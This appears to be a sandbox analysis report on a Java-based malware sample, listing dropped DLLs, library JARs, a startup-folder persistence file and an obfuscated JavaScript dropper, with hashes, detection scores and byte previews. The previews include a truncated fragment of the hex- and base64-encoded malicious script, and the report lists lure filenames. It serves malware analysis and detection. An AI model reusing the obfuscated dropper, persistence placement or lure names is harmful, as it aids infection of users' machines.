SHA-256: 3A9363603121FB03304A72DD8C294C7695593ACEF776237205DA004C787EFA0E

SHA-512: CE87BC276D355695118931861CC63BD1EC43E67D37A55B28D6A4E702885830C18283A5DFBEB0B97E4A4FA6B089FEA8AF3707A01749AB5D6BBA5D16A3D8207C9
4

Malicious: false

Preview:
C:\Program Files (x86)\Java\jre1.8.0_211..1614143121438..

C:\Users\user\AppData\Local\Temp\jna-99048687\jna6181350368483245817.dll

Process: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 207872

Entropy (8bit): 6.579362539906247

Encrypted: false

SSDEEP: 3072:q9LCZdSWDLC2L5THvPEFKESxLBaj+EdyfWC0EHxvNVmvXsNGpqqqYrZG:VDvL5TQdndmkvXsNGpqOFG

MD5: 28D895A3CB7E9A0B6A5AE5ED6A62B254

SHA1: 703D8604A8D04D29C52C0EBCDE1E86F3BC8FF824

SHA-256: 04C9A8AB43D1EB616B84D0686C8AE1D881EF03FE4F3AA26511E5B19D35EF16AF

SHA-512: C917334BA893313F6062143A25187A313A973B41696C8E446D4D90F7483963F5134CAFE65C86B212815981A9AF27B1ADA7FEB2C9194A3B234C5817FB54D4E531

Malicious: false

Antivirus: Antivirus: Metadefender, Detection: 3%, Browse
Antivirus: ReversingLabs, Detection: 0%

Joe Sandbox 
View:

Filename: Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar, Detection: malicious, Browse
Filename: Invoice467972.jar, Detection: malicious, Browse
Filename: Invoice467972.jar, Detection: malicious, Browse
Filename: MT0128.jar, Detection: malicious, Browse
Filename: MT0128.jar, Detection: malicious, Browse
Filename: PO348578.jar, Detection: malicious, Browse
Filename: ShippingDoc.jar, Detection: malicious, Browse
Filename: 02_extracted.jar, Detection: malicious, Browse
Filename: , Detection: malicious, Browse
Filename: ntfsmgr.jar, Detection: malicious, Browse
Filename: Specification-037-31-08.jar, Detection: malicious, Browse
Filename: 04_extracted.jar, Detection: malicious, Browse
Filename: Order Quotation ....jar, Detection: malicious, Browse
Filename: tsts11.jar, Detection: malicious, Browse
Filename: Spec#-0537354-17-08.jar, Detection: malicious, Browse
Filename: Spec-10-8-20.jar, Detection: malicious, Browse
Filename: Payment Advice.jar, Detection: malicious, Browse
Filename: , Detection: malicious, Browse
Filename: ORDER SPECIFICATIONS.jar, Detection: malicious, Browse
Filename: SCANPAGO.jar, Detection: malicious, Browse
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https://www.metadefender.com/#!/results/file/YnpJd01USXpNVkF4WlRBelNXMVliUXJsU2hIY2FFUA/regular/analysis
https://view.joesandbox.com/analysis/267589/html/none
https://view.joesandbox.com/analysis/266257/html/none
https://view.joesandbox.com/analysis/266253/html/none
https://view.joesandbox.com/analysis/265304/html/none
https://view.joesandbox.com/analysis/265288/html/none
https://view.joesandbox.com/analysis/242584/html/none
https://view.joesandbox.com/analysis/238113/html/none
https://view.joesandbox.com/analysis/228489/html/none
https://view.joesandbox.com/analysis/214931/html/none
https://view.joesandbox.com/analysis/212997/html/none
https://view.joesandbox.com/analysis/203376/html/none
https://view.joesandbox.com/analysis/203246/html/none
https://view.joesandbox.com/analysis/194871/html/none
https://view.joesandbox.com/analysis/193500/html/none
https://view.joesandbox.com/analysis/192329/html/none
https://view.joesandbox.com/analysis/184520/html/none
https://view.joesandbox.com/analysis/184051/html/none
https://view.joesandbox.com/analysis/183450/html/none
https://view.joesandbox.com/analysis/181666/html/none
https://view.joesandbox.com/analysis/181289/html/none


Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B..G.ty..ty..ty.....ty....~ty.....ty.T.|..ty.T.}..ty.T.z..ty.....ty..tx.[ty...z..t
y..ty..ty...}..ty...y..ty...{..ty.Rich.ty.................PE..L....G.]...........!.....D...........M.......`...............................p............@.........................P...T.......<....0.......................@... ..p.............
......................@............`..,............................text....C.......D.................. ..`.rdata..Rz...`...|...H..............@..@.data...<O.......B..................@....rsrc........0......................@....rel
oc... ...@..."..................@..B................................................................................................................................................................................................................................
........................................................

C:\Users\user\AppData\Local\Temp\jna-99048687\jna6181350368483245817.dll

C:\Users\user\AppData\Local\Temp\jna-99048687\jna7235467147341798336.dll

Process: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 207872

Entropy (8bit): 6.579362539906247

Encrypted: false

SSDEEP: 3072:q9LCZdSWDLC2L5THvPEFKESxLBaj+EdyfWC0EHxvNVmvXsNGpqqqYrZG:VDvL5TQdndmkvXsNGpqOFG

MD5: 28D895A3CB7E9A0B6A5AE5ED6A62B254

SHA1: 703D8604A8D04D29C52C0EBCDE1E86F3BC8FF824

SHA-256: 04C9A8AB43D1EB616B84D0686C8AE1D881EF03FE4F3AA26511E5B19D35EF16AF

SHA-512: C917334BA893313F6062143A25187A313A973B41696C8E446D4D90F7483963F5134CAFE65C86B212815981A9AF27B1ADA7FEB2C9194A3B234C5817FB54D4E531

Malicious: false

Antivirus: Antivirus: Metadefender, Detection: 3%, Browse
Antivirus: ReversingLabs, Detection: 0%

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B..G.ty..ty..ty.....ty....~ty.....ty.T.|..ty.T.}..ty.T.z..ty.....ty..tx.[ty...z..t
y..ty..ty...}..ty...y..ty...{..ty.Rich.ty.................PE..L....G.]...........!.....D...........M.......`...............................p............@.........................P...T.......<....0.......................@... ..p.............
......................@............`..,............................text....C.......D.................. ..`.rdata..Rz...`...|...H..............@..@.data...<O.......B..................@....rsrc........0......................@....rel
oc... ...@..."..................@..B................................................................................................................................................................................................................................
........................................................

C:\Users\user\AppData\Local\Temp\jna-99048687\jna8178706811767784369.dll

Process: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 207872

Entropy (8bit): 6.579362539906247

Encrypted: false

SSDEEP: 3072:q9LCZdSWDLC2L5THvPEFKESxLBaj+EdyfWC0EHxvNVmvXsNGpqqqYrZG:VDvL5TQdndmkvXsNGpqOFG

MD5: 28D895A3CB7E9A0B6A5AE5ED6A62B254

SHA1: 703D8604A8D04D29C52C0EBCDE1E86F3BC8FF824

SHA-256: 04C9A8AB43D1EB616B84D0686C8AE1D881EF03FE4F3AA26511E5B19D35EF16AF

SHA-512: C917334BA893313F6062143A25187A313A973B41696C8E446D4D90F7483963F5134CAFE65C86B212815981A9AF27B1ADA7FEB2C9194A3B234C5817FB54D4E531

Malicious: false

Antivirus: Antivirus: Metadefender, Detection: 3%, Browse
Antivirus: ReversingLabs, Detection: 0%

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B..G.ty..ty..ty.....ty....~ty.....ty.T.|..ty.T.}..ty.T.z..ty.....ty..tx.[ty...z..t
y..ty..ty...}..ty...y..ty...{..ty.Rich.ty.................PE..L....G.]...........!.....D...........M.......`...............................p............@.........................P...T.......<....0.......................@... ..p.............
......................@............`..,............................text....C.......D.................. ..`.rdata..Rz...`...|...H..............@..@.data...<O.......B..................@....rsrc........0......................@....rel
oc... ...@..."..................@..B................................................................................................................................................................................................................................
........................................................

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\83aa4cc77f591dfc2374580bbd95f6ba
_d06ed635-68f6-4e9a-955c-4899f5f57b9a
Process: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe

File Type: data

Category: dropped

Size (bytes): 45

Entropy (8bit): 0.9111711733157262

Encrypted: false

SSDEEP: 3:/lwlt7n:WNn

MD5: C8366AE350E7019AEFC9D1E6E6A498C6

SHA1: 5731D8A3E6568A5F2DFBBC87E3DB9637DF280B61

SHA-256: 11E6ACA8E682C046C83B721EEB5C72C5EF03CB5936C60DF6F4993511DDC61238

SHA-512: 33C980D5A638BFC791DE291EBF4B6D263B384247AB27F261A54025108F2F85374B579A026E545F81395736DD40FA4696F2163CA17640DD47F1C42BC9971B18CD

Malicious: false

Preview:
........................................J2SE.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vmlpusjwhz.txt
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https://www.metadefender.com/#!/results/file/YnpJd01USXpNVkF4WlRBelNXMVliUXJsU2hIY2FFUA/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJd01USXpNVkF4WlRBelNXMVliUXJsU2hIY2FFUA/regular/analysis


Process: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe

File Type: Zip archive data, at least v2.0 to extract

Category: dropped

Size (bytes): 93302

Entropy (8bit): 7.907636664666169

Encrypted: false

SSDEEP: 1536:/1qTnJjXcA/88jc5w+e6saZGIhw8c+/MCZdCa9aQ7IakSyEvaogK0imdgIJX0H:dqTNV9+wdDaZn9/MCZdN7RkSy0ajA+JA

MD5: 6A1EFB0C410A7790DBC75FD29ADC48D6

SHA1: 5589EAD30D23C96DC8AE7BA03D03066BCB1B17EF

SHA-256: DFC703A9B8498AA24306908FCE67CBF894C7861E07FF778E3FD62315684B579B

SHA-512: 7C331441848875875DF4F39E7AF59C040C0EDD010666894C69178064EB52E1A3E310BBF62A35FDF1B2F6EE372B68D75AE395E9EC92ECFFB150EF2B5C5570205F

Malicious: false

Preview:
PK..........WR................META-INF/MANIFEST.MF].=O.0.EwK..o,.M\ZQyk#6B..b}._..'..+.......w....p...E.R.>N..l8;N..qF..TV.T.......E.v'..0J.....6.9&,5|.Y.~.m..5XL.8.(WXkV
*.....7.y.F......^....0....C.........#.Bbp.....[.V..h.].....g.|.....s...%.u....0..>8.8..PK...&......-...PK..........WR................carLambo/resources/config.txt.... ....r.h..h..=.._i.LG.........1..
KK..kRo..h...L.t[.06...u..4....y.....3>.H29.jql^e}..5..A[i....t.p.5.......#t.@..`..M..e.-.:T?n...mF.._..G..6.D\.r.AZ/.. .Hq.....{../....mQ..)}../...PK..)!..........PK..........WR................carLam
bo/sbsgssdfg.class.Xy|.W........XJ..P .f.@....$..I.B.]b..;{.f..L(H.T.....U.Gl...]..W....>Zo..=.Z.....fg........}....x.w..v......h.......b%.....@...R+..B.;%.K.%.G.{%.O..%.$..0".!..K....J....I
...GE|I..D<&.."~(.G"~,.'"~*.g"~..."~).W"...l!.E.!..e.1lg.g..a..~.73....o+.\....n..U.!...od..p3...:p.3_...W ...lu............a...!.p#.-......2.....;.......b.j...jq...).A../......e8..#x../..'...0|..b.o.CN<.O..I

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vmlpusjwhz.txt

C:\Users\user\AppData\Roaming\lib\jna-5.5.0.jar

Process: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe

File Type: Java archive data (JAR)

Category: dropped

Size (bytes): 1506993

Entropy (8bit): 7.990710311197979

Encrypted: true

SSDEEP: 24576:BggLnybolJdaW+864NkqCUer8N7sSFOaj5lWOEMIKk6idJRWPTgzq3bICEz2lFO:BTnybo9aW+L5qCUO0xsiMPZrJgPLLIO6

MD5: ACFB5B5FD9EE10BF69497792FD469F85

SHA1: 0E0845217C4907822403912AD6828D8E0B256208

SHA-256: B308FAEBFE4ED409DE8410E0A632D164B2126B035F6EACFF968D3908CAFB4D9E

SHA-512: E52575F58A195CEB3BD16B9740EADF5BC5B1D4D63C0734E8E5FD1D1776AA2D068D2E4C7173B83803F95F72C0A6759AE1C9B65773C734250D4CFCDF47A19F82A
A

Malicious: false

Preview:
PK..........^O................META-INF/....PK..........^O...L............META-INF/MANIFEST.MF.._O.0...+.;............ahehE."...cgv.}.].i...i{..s.>>.....`.....J^....{sYX.....5......[h......-....q0.6.%.
|.. ..c.i../..r.-.5.0..f+.7I.;.......".IV.=.D...H.A.J_..9......M..4...W9.....6.zZ...3g..tG....3....Q..._..N.`...p.y+.n.xw4*..z+C.Y`./Jc.o..WW..;B..=.....4..Lh.~..M..Q.~.6Jp......~m..p...Z.R.
V..Oq..F.U....r.a.Yh...^].?.v.b/%.=e?.kt....e..Nw..n.{.......E..].P!.h.N....N."/..._<.&..{.C!.$......O..L....,+..S..Y..9{.gX- ..R....S"...xTGm..0........*.]J.M.dT.......9.b.(....\......,'...>..].i.q/.
.J<.Hy..k.9H.E.J.....!.Q!....*.8...j..^.7Y..Sv..r+8..Y..4..7V........&-th..v(rZ....F.~..G.~..r.:..sj....0.-.,.....k.H[.^T.}.....UTH.)g.0..,l.6|...fr..\...t~Usz......J,....6&l}.m....M...9.cPKT1.;....h^
....u.{... C...^...2%yuD.2...Z9...t.~....PK..........^O................com/PK..........^O................com/sun/PK..........^O................com/sun/jna/PK..........^O..

C:\Users\user\AppData\Roaming\lib\jna-platform-5.5.0.jar
Process: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe

File Type: Java archive data (JAR)

Category: dropped

Size (bytes): 2681931

Entropy (8bit): 5.90068240083877

Encrypted: false

SSDEEP: 24576:DyciOooDbK7Yw1J75n4BP/NtK2ov3mhDR6:3iOLDOZJ75nwtK2ovWh8

MD5: 2F4A99C2758E72EE2B59A73586A2322F

SHA1: AF38E7C4D0FC73C23ECD785443705BFDEE5B90BF

SHA-256: 24D81621F82AC29FCDD9A74116031F5907A2343158E616F4573BBFA2434AE0D5

SHA-512: B860459A0D3BF7CCB600A03AA1D2AC0358619EE89B2B96ED723541E182B6FDAB53AEFEF7992ACB4E03FCA67AA47CBE3907B1E6060A60B57ED96C4E00C35C74
94

Malicious: false

Preview:
PK..........^O................META-INF/....PK..........^O.p..E...E.......META-INF/MANIFEST.MFManifest-Version: 1.0..Ant-Version: Apache Ant 1.10.6..Created-By: 1.8.0_201-b09 
(Oracle Corporation)..Implementation-Title: com.sun.jna.platform..Implementation-Vendor: JNA Development Team..Implementation-Version: 5.5.0 (b0)..Specification-Title: 
Java Native Access (JNA)..Specification-Vendor: JNA Development Team..Specification-Version: 5..Automatic-Module-Name: com.sun.jna.platform..Bundle-Category: 
jni..Bundle-ManifestVersion: 2..Bundle-Name: jna-platform..Bundle-Description: JNA Platform Library..Bundle-SymbolicName: com.sun.jna.platform..Bundle-Version: 
5.5.0..Bundle-RequiredExecutionEnvironment: J2SE-1.4..Bundle-Vendor: JNA Development Team..Require-Bundle: com.sun.jna;bundle-version="5.5.0"..Export-Package:  
com.sun.jna.platform;version=5.5.0, com.sun.jna.platf.. orm.dnd;version=5.5.0, com.sun.jna.platform.linux;version=5.5.0, com... sun.jna.platform.mac;version=5.5.0, 
com.sun.jna.plat

C:\Users\user\AppData\Roaming\lib\sqlite-jdbc-3.14.2.1.jar

Process: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe

File Type: Zip archive data, at least v1.0 to extract

Category: dropped

Size (bytes): 4322173

Entropy (8bit): 7.994785882289737
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Encrypted: true

SSDEEP: 98304:czJoX0izQbrabWo2MxgErRYxFOY8IsFWyTIiTIzMpca:cJoXHQKW9MxRr8wZZsikzMaa

MD5: B33387E15AB150A7BF560ABDC73C3BEC

SHA1: 66B8075784131F578EF893FD7674273F709B9A4C

SHA-256: 2EAE3DEA1C3DDE6104C49F9601074B6038FF6ABCF3BE23F4B56F6720A4F6A491

SHA-512: 25CFB0D6CE35D0BCB18527D3AA12C63ECB2D9C1B8B78805D1306E516C13480B79BB0D74730AA93BD1752F9AC2DA9FDD51781C48844CEA2FD52A06C62852C827
9

Malicious: false

Preview:
PK........8f>I................META-INF/PK........7f>IzVC.....s.......META-INF/MANIFEST.MF..Oo.0.....,.k..-%..P.m..U...L2..&fm....@ .E.=o~o........7H.D.".8.5..mA.....L.c..F......!.lh..4.
[H.0K...![.....Tq..1...G..@.?..\...P.."ao..S.:w.}.}.t.EW...b.6..(.5a....p.8[H*..p.bH..h..&l.w....D.e.We.<..h.=.....zx.:.W.ft.......a.....$......{..{..K..0.ZfP7.N>q......FH..4.....B.....:.q4.../..
^f....;....m....V.....b..u..v0.k.S.9 .....<G...@..Bl87s.....p.K.;..5.x1.i]...:.l8_./.~.-.7....g[O...U;.$(..r..../.m.E2...=....CT..6K.9....=v=.s}..OPK........We>I................META-INF/mave
n/PK........We>I................META-INF/maven/org.xerial/PK........We>I............&...META-INF/maven/org.xerial/sqlite-jdbc/PK........We>I................META-INF/services/PK....
....QT>I................org/PK........8f>I................org/sqlite/PK........8f>I................org/sqlite/core/PK........8f>I................org/sqlite/date/PK........8f>I................org/sqlite/javax/PK
........8f>I..

C:\Users\user\AppData\Roaming\lib\sqlite-jdbc-3.14.2.1.jar

C:\Users\user\AppData\Roaming\lib\system-hook-3.5.jar

Process: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe

File Type: Zip archive data, at least v1.0 to extract

Category: dropped

Size (bytes): 791222

Entropy (8bit): 7.998588520286719

Encrypted: true

SSDEEP: 24576:IhCFW8WXvOsWW9XGmvcVfkfTnzrLvadKPpv:IhCYWstW202t

MD5: E1AA38A1E78A76A6DE73EFAE136CDB3A

SHA1: C463DA71871F780B2E2E5DBA115D43953B537DAF

SHA-256: 2DDDA8AF6FAEF8BDE46ACF43EC546603180BCF8DCB2E5591FFF8AC9CD30B5609

SHA-512: FEE16FE9364926EC337E52F551FD62ED81984808A847DE2FD68FF29B6C5DA0DCC04EF6D8977F0FE675662A7D2EA1065CDCDD2A5259446226A7C7C5516BD7D60
D

Malicious: false

Preview:
PK.........x.N................META-INF/PK.........x.N................META-INF/MANIFEST.MF.M..LK-...K-*...R0.3..r,J..,K-B...V..+.$x...R.KRSt.*......3R.|..R....L..y..J3sJ....&.f.f...]..l.-.z.z
F.\.\.PK..PSF.m.......PK........lx.N................lc/PK........lx.N................lc/kra/PK........mx.N................lc/kra/system/PK........mx.N................lc/kra/system/keyboard/PK........m
x.N................lc/kra/system/keyboard/event/PK.........x.N................lc/kra/system/lib/PK........mx.N................lc/kra/system/mouse/PK........mx.N................lc/kra/system/
mouse/event/PK........mx.N............"...lc/kra/system/GlobalHookMode.class.R]o.A.=...,_[.R...Z....O....6Y..m1..W.v.M.h.4.F..?.xg%.b..pO..s.;3.~......0Dl(."'!%!. .M..d..*nq.S.I..2
4...;..Z.z..0,.N.p.3..O...-.t.......{......Uu..M.-5.7..i.`Xy7.3ta:C.....%....q.v..a.e.N.C;..r...........n.`.z..)...j..6.....XSt..k.....=..[.;.5.{.....q...GJB...J..7.L...a.2.........6w.0M..j*..C.T.Qb..
RT..3..XQ.GBE.....

C:\Users\user\AppData\Roaming\plugins.jar

Process: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe

File Type: Zip archive data, at least v2.0 to extract

Category: dropped

Size (bytes): 93302

Entropy (8bit): 7.907636664666169

Encrypted: false

SSDEEP: 1536:/1qTnJjXcA/88jc5w+e6saZGIhw8c+/MCZdCa9aQ7IakSyEvaogK0imdgIJX0H:dqTNV9+wdDaZn9/MCZdN7RkSy0ajA+JA

MD5: 6A1EFB0C410A7790DBC75FD29ADC48D6

SHA1: 5589EAD30D23C96DC8AE7BA03D03066BCB1B17EF

SHA-256: DFC703A9B8498AA24306908FCE67CBF894C7861E07FF778E3FD62315684B579B

SHA-512: 7C331441848875875DF4F39E7AF59C040C0EDD010666894C69178064EB52E1A3E310BBF62A35FDF1B2F6EE372B68D75AE395E9EC92ECFFB150EF2B5C5570205F

Malicious: true

Preview:
PK..........WR................META-INF/MANIFEST.MF].=O.0.EwK..o,.M\ZQyk#6B..b}._..'..+.......w....p...E.R.>N..l8;N..qF..TV.T.......E.v'..0J.....6.9&,5|.Y.~.m..5XL.8.(WXkV
*.....7.y.F......^....0....C.........#.Bbp.....[.V..h.].....g.|.....s...%.u....0..>8.8..PK...&......-...PK..........WR................carLambo/resources/config.txt.... ....r.h..h..=.._i.LG.........1..
KK..kRo..h...L.t[.06...u..4....y.....3>.H29.jql^e}..5..A[i....t.p.5.......#t.@..`..M..e.-.:T?n...mF.._..G..6.D\.r.AZ/.. .Hq.....{../....mQ..)}../...PK..)!..........PK..........WR................carLam
bo/sbsgssdfg.class.Xy|.W........XJ..P .f.@....$..I.B.]b..;{.f..L(H.T.....U.Gl...]..W....>Zo..=.Z.....fg........}....x.w..v......h.......b%.....@...R+..B.;%.K.%.G.{%.O..%.$..0".!..K....J....I
...GE|I..D<&.."~(.G"~,.'"~*.g"~..."~).W"...l!.E.!..e.1lg.g..a..~.73....o+.\....n..U.!...od..p3...:p.3_...W ...lu............a...!.p#.-......2.....;.......b.j...jq...).A../......e8..#x../..'...0|..b.o.CN<.O..I

C:\Users\user\AppData\Roaming\vmlpusjwhz.txt

Process: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe

File Type: Zip archive data, at least v2.0 to extract

Category: dropped

Size (bytes): 93302

Entropy (8bit): 7.907636664666169

Encrypted: false

SSDEEP: 1536:/1qTnJjXcA/88jc5w+e6saZGIhw8c+/MCZdCa9aQ7IakSyEvaogK0imdgIJX0H:dqTNV9+wdDaZn9/MCZdN7RkSy0ajA+JA

MD5: 6A1EFB0C410A7790DBC75FD29ADC48D6

SHA1: 5589EAD30D23C96DC8AE7BA03D03066BCB1B17EF

SHA-256: DFC703A9B8498AA24306908FCE67CBF894C7861E07FF778E3FD62315684B579B
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SHA-512: 7C331441848875875DF4F39E7AF59C040C0EDD010666894C69178064EB52E1A3E310BBF62A35FDF1B2F6EE372B68D75AE395E9EC92ECFFB150EF2B5C5570205F

Malicious: true

Preview:
PK..........WR................META-INF/MANIFEST.MF].=O.0.EwK..o,.M\ZQyk#6B..b}._..'..+.......w....p...E.R.>N..l8;N..qF..TV.T.......E.v'..0J.....6.9&,5|.Y.~.m..5XL.8.(WXkV
*.....7.y.F......^....0....C.........#.Bbp.....[.V..h.].....g.|.....s...%.u....0..>8.8..PK...&......-...PK..........WR................carLambo/resources/config.txt.... ....r.h..h..=.._i.LG.........1..
KK..kRo..h...L.t[.06...u..4....y.....3>.H29.jql^e}..5..A[i....t.p.5.......#t.@..`..M..e.-.:T?n...mF.._..G..6.D\.r.AZ/.. .Hq.....{../....mQ..)}../...PK..)!..........PK..........WR................carLam
bo/sbsgssdfg.class.Xy|.W........XJ..P .f.@....$..I.B.]b..;{.f..L(H.T.....U.Gl...]..W....>Zo..=.Z.....fg........}....x.w..v......h.......b%.....@...R+..B.;%.K.%.G.{%.O..%.$..0".!..K....J....I
...GE|I..D<&.."~(.G"~,.'"~*.g"~..."~).W"...l!.E.!..e.1lg.g..a..~.73....o+.\....n..U.!...od..p3...:p.3_...W ...lu............a...!.p#.-......2.....;.......b.j...jq...).A../......e8..#x../..'...0|..b.o.CN<.O..I

C:\Users\user\AppData\Roaming\vmlpusjwhz.txt

C:\Users\user\fukvowbkrs.js
Process: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe

File Type: ASCII text, with very long lines

Category: dropped

Size (bytes): 737167

Entropy (8bit): 4.705946433849389

Encrypted: false

SSDEEP: 6144:egg4cP9SSJTS7PEwU5tTBWoZEIZCSfq7mjJMF4taWAo/YABu1kL3QNQoxvHp6GVE:M

MD5: EE526513580FDCE38FBD47E380081DA0

SHA1: 05A7DBB90B51A6BF6EEF394DC565A22242A4E0DD

SHA-256: EDF1D7DFB797D66CEACE6695998240EDF67C5F08D06767A66ABC1C66830527F4

SHA-512: C14E5381A3C569918957FC0A35B0970786B2E128709E8A26419AE96972BC8B507DD44DA51E60871AB85313C63D4045035E4A48EEE15BA2DF731A7328FCD8618F

Malicious: false

Yara Hits: Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: C:\Users\user\fukvowbkrs.js, 
Author: Florian Roth

Preview:
var efr3b0h = [.function(zen1thB){..var mkk_pl4z4 = Array(zen1thB[0],......."\x6D\x6B\x6B\x5F\x70\x6C\x34\x7A\x34\x5B\x30\x5D\x20\x3D\x20\x6D\x6B\x6B\x5F\x70\x6
C\x34\x7A\x34\x5B\x30\x5D\x2E");..mkk_pl4z4[0] = mkk_pl4z4[0].replace(new RegExp(">%@", "g"), "A");..var f_truth = [......."\x6D\x22\x2C\x20\x22\x67\x22\x29\x2C
\x20\x22\x64\x22\x29\x3B",......."\x21\x22\x2C\x20\x22\x67\x22\x29\x2C\x20\x22\x6D\x22\x29\x3B".......];..zen1thB[1][r0bl3NP(10,9)].f_truth = f_truth;..zen1thB[1][r0bl3NP
(10,9)].mkk_pl4z4 = mkk_pl4z4;..new zen1thB[1]([eval]);..return Array(function(vmk){return [mkk_pl4z4][vmk];})[0](0);.},.Array("CreateObject","Rea", "undefined","\x61\x64
\x6F\x64\x62\x2E","\x43\x68\x61\x72\x53\x65\x74","Position","\x54\x79\x70\x65","Open","Write","node")..];.eval("String[\"prototype\"].l00p6x = function(){return \"m!FyIFZ
MJExPJEUgPSBbIlx4NTVceDQ1XHg3M1x4NDRceDQyXHg0Mlx4NTFceDNFXHgyNVx4NDBceDQzXHgzRVx4MjVceDQwXHg2N1x4NDlceDNFXHgyNVx4NDBceDR
BXHg2Rlx4NTmceDU2XHgzMVx4NDlceDNFXHgyNVx4NDBceDNFX

C:\Users\user\lib\jna-5.5.0.jard

Process: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe

File Type: Java archive data (JAR)

Category: dropped

Size (bytes): 1506993

Entropy (8bit): 7.990710311197979

Encrypted: true

SSDEEP: 24576:BggLnybolJdaW+864NkqCUer8N7sSFOaj5lWOEMIKk6idJRWPTgzq3bICEz2lFO:BTnybo9aW+L5qCUO0xsiMPZrJgPLLIO6

MD5: ACFB5B5FD9EE10BF69497792FD469F85

SHA1: 0E0845217C4907822403912AD6828D8E0B256208

SHA-256: B308FAEBFE4ED409DE8410E0A632D164B2126B035F6EACFF968D3908CAFB4D9E

SHA-512: E52575F58A195CEB3BD16B9740EADF5BC5B1D4D63C0734E8E5FD1D1776AA2D068D2E4C7173B83803F95F72C0A6759AE1C9B65773C734250D4CFCDF47A19F82A
A

Malicious: false

Preview:
PK..........^O................META-INF/....PK..........^O...L............META-INF/MANIFEST.MF.._O.0...+.;............ahehE."...cgv.}.].i...i{..s.>>.....`.....J^....{sYX.....5......[h......-....q0.6.%.
|.. ..c.i../..r.-.5.0..f+.7I.;.......".IV.=.D...H.A.J_..9......M..4...W9.....6.zZ...3g..tG....3....Q..._..N.`...p.y+.n.xw4*..z+C.Y`./Jc.o..WW..;B..=.....4..Lh.~..M..Q.~.6Jp......~m..p...Z.R.
V..Oq..F.U....r.a.Yh...^].?.v.b/%.=e?.kt....e..Nw..n.{.......E..].P!.h.N....N."/..._<.&..{.C!.$......O..L....,+..S..Y..9{.gX- ..R....S"...xTGm..0........*.]J.M.dT.......9.b.(....\......,'...>..].i.q/.
.J<.Hy..k.9H.E.J.....!.Q!....*.8...j..^.7Y..Sv..r+8..Y..4..7V........&-th..v(rZ....F.~..G.~..r.:..sj....0.-.,.....k.H[.^T.}.....UTH.)g.0..,l.6|...fr..\...t~Usz......J,....6&l}.m....M...9.cPKT1.;....h^
....u.{... C...^...2%yuD.2...Z9...t.~....PK..........^O................com/PK..........^O................com/sun/PK..........^O................com/sun/jna/PK..........^O..

C:\Users\user\lib\jna-platform-5.5.0.jard
Process: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe

File Type: Java archive data (JAR)

Category: dropped

Size (bytes): 2681931

Entropy (8bit): 5.90068240083877

Encrypted: false

SSDEEP: 24576:DyciOooDbK7Yw1J75n4BP/NtK2ov3mhDR6:3iOLDOZJ75nwtK2ovWh8

MD5: 2F4A99C2758E72EE2B59A73586A2322F

SHA1: AF38E7C4D0FC73C23ECD785443705BFDEE5B90BF

SHA-256: 24D81621F82AC29FCDD9A74116031F5907A2343158E616F4573BBFA2434AE0D5

SHA-512: B860459A0D3BF7CCB600A03AA1D2AC0358619EE89B2B96ED723541E182B6FDAB53AEFEF7992ACB4E03FCA67AA47CBE3907B1E6060A60B57ED96C4E00C35C74
94

Malicious: false
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Preview:
PK..........^O................META-INF/....PK..........^O.p..E...E.......META-INF/MANIFEST.MFManifest-Version: 1.0..Ant-Version: Apache Ant 1.10.6..Created-By: 1.8.0_201-b09 
(Oracle Corporation)..Implementation-Title: com.sun.jna.platform..Implementation-Vendor: JNA Development Team..Implementation-Version: 5.5.0 (b0)..Specification-Title: 
Java Native Access (JNA)..Specification-Vendor: JNA Development Team..Specification-Version: 5..Automatic-Module-Name: com.sun.jna.platform..Bundle-Category: 
jni..Bundle-ManifestVersion: 2..Bundle-Name: jna-platform..Bundle-Description: JNA Platform Library..Bundle-SymbolicName: com.sun.jna.platform..Bundle-Version: 
5.5.0..Bundle-RequiredExecutionEnvironment: J2SE-1.4..Bundle-Vendor: JNA Development Team..Require-Bundle: com.sun.jna;bundle-version="5.5.0"..Export-Package:  
com.sun.jna.platform;version=5.5.0, com.sun.jna.platf.. orm.dnd;version=5.5.0, com.sun.jna.platform.linux;version=5.5.0, com... sun.jna.platform.mac;version=5.5.0, 
com.sun.jna.plat

C:\Users\user\lib\jna-platform-5.5.0.jard

C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard

Process: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe

File Type: Zip archive data, at least v1.0 to extract

Category: dropped

Size (bytes): 4322173

Entropy (8bit): 7.994785882289737

Encrypted: true

SSDEEP: 98304:czJoX0izQbrabWo2MxgErRYxFOY8IsFWyTIiTIzMpca:cJoXHQKW9MxRr8wZZsikzMaa

MD5: B33387E15AB150A7BF560ABDC73C3BEC

SHA1: 66B8075784131F578EF893FD7674273F709B9A4C

SHA-256: 2EAE3DEA1C3DDE6104C49F9601074B6038FF6ABCF3BE23F4B56F6720A4F6A491

